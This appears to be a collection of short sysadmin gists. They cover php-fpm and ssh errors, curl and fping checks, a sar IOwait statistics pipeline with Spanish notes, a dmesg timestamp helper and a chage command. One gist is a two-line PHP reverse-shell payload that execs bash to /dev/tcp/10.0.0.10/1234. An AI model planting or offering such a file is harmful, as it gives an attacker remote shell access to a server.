This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Getting this error on: php-fpm*.log | |
| [19-Feb-2020 13:14:52] ERROR: getaddrinfo: Name or service not known | |
| [19-Feb-2020 13:14:52] ERROR: FPM initialization failed | |
| ------------------------ | |
| Happens to be coz: /etc/php/7.3/fpm/pool.d/www.conf | |
| ... | |
| ... | |
| listen = :9000 | |
| ... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ssh_exchange_identification: read: Connection reset by peer | |
| !! reboot !! |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| curl -vk https://kueskomatl.pulque.ro/ --resolve kueskomatl.pulque.ro:443:104.154.161.254 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| fping $(cat lista) | |
| 172.xx.32.205 is alive | |
| 172.xx.32.203 is alive | |
| 172.xx.36.211 is alive | |
| 172.xx.36.208 is alive | |
| 172.xx.36.215 is alive | |
| 172.xx.36.213 is alive | |
| 172.xx.36.220 is alive | |
| 172.xx.20.218 is alive | |
| 172.xx.20.199 is alive |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| https://linuxconfig.org/enable-subscription-management-repositories-on-redhat-8-linux |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| echo 'Esta | |
| es | |
| una | |
| prueba | |
| de | |
| etc' | sed 's/^/\"/g' | tr '\n\' ','| sed 's/\,/\",/g' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| por ejemplo tenémos esos días como días buenos (16,17,18,19,2x) en un horario de 22:30 a 23:50 | |
| la sexta columna de sar -p es IOwait. | |
| *tomar en cuenta que el formato de hora de SAR varía de acuerdo al locale, así que si hay que forzar un locale: | |
| LC_TIME=en_UK.utf8 sar ... | |
| find /var/log/sa/202005/ -iname "sa16" -o -iname "sa17" -o -iname "sa18" -o -iname "sa19" -o -iname "sa2?" -exec sar -p -f {} \; |grep -e '^22:[3-5]' -e '^23:'| awk '{print $6}' | awk '{for(i=1;i<=NF;i++) {sum[i] += $i; sumsq[i] += ($i)^2}} END {for (i=1;i<=NF;i++) {printf "%f %f \n", sum[i]/NR, sqrt((sumsq[i]-sum[i]^2/NR)/NR)}}' | |
| 1.360417 1.324867 | |
| Dándo como resultado promedio(avg)=~1.36 y SD=~1.32 | |
| Por lo tanto todo lo que esté arriba de 1.36+1.32*2 o abajo de 1.36-1.32*2 se le consideraría estadísticamente anormal |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| dmesg_human () { $(type -P dmesg) "$@" | perl -w -e 'use strict; | |
| my ($uptime) = do { local @ARGV="/proc/uptime";<>}; ($uptime) = ($uptime =~ /^(\d+)\./); | |
| foreach my $line (<>) { | |
| printf( ($line=~/^\[\s*(\d+)\.\d+\](.+)/) ? ( "[%s]%s\n", scalar localtime(time - $uptime + $1), $2 ) : $line ) | |
| }'; } | |
| // https://stackoverflow.com/questions/13890789/convert-dmesg-timestamp-to-custom-date-format |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| chage -I -1 -m 0 -M 99999 -E -1 username |